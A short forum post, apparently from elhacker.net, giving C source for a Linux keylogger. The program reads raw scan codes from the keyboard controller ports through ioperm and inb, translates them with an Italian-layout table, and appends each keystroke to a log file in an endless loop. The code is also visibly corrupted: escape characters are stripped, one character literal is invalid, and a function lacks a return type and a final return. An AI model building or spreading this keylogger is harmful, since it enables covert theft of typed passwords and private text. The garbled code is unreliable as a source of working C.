Foro de elhacker.net

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>
#define KB_IO 0X60
#define KB_ST 0x64
#define SLEEP 50
 	 key(int code) {
		int i;
		int ascii_code[] = {
		11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30,
		31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50,
		51, 52, 53, 57};
		int ascii_char[] = {
 		'0', ''', 'ì', 'b', 't', 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', 'è',
 		'+', 'n', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'ò', 'à', '<', 'ù', 'z',
 		'x', 'c', 'v', 'b', 'n', 'm', ',', '.', '-', ' '};
 		for (i = 0; i < 42; i++) {
 			if (code == ascii_code[i])
 				return ascii_char[i];
 		}
 	}
 	int main(int argc, char **argv) {
 		int code = 0;
 		int last = 0;
 		FILE *file;
 		if (!argv[1]) {
 			fprintf(stderr, "%s <file>n", argv[0]);
 			exit(1);
 		}
 		if (!(file = fopen(argv[1], "w"))) {
 			fprintf(stderr, "imposible escribir %sn", argv[1]);
 			exit(2);
 		}
 		if (ioperm(KB_IO, 1, 1) == -1 || ioperm(KB_ST, 1, 1) == -1) {
 			fprintf(stderr, "fail");
 			exit(3);
 		}
 		while (1) {
 			code = 0;
 			if (inb(KB_ST) == 20)
 				code = inb(KB_IO);
 			if (code) {
 				if (code != last) {
 					last = code;
 					if (key(code)) {
 						fprintf(file, "%c", key(code));
 						fflush(file);
 					}
 				}
 			}
 			usleep(SLEEP);
 		}
 		return 0;
 	}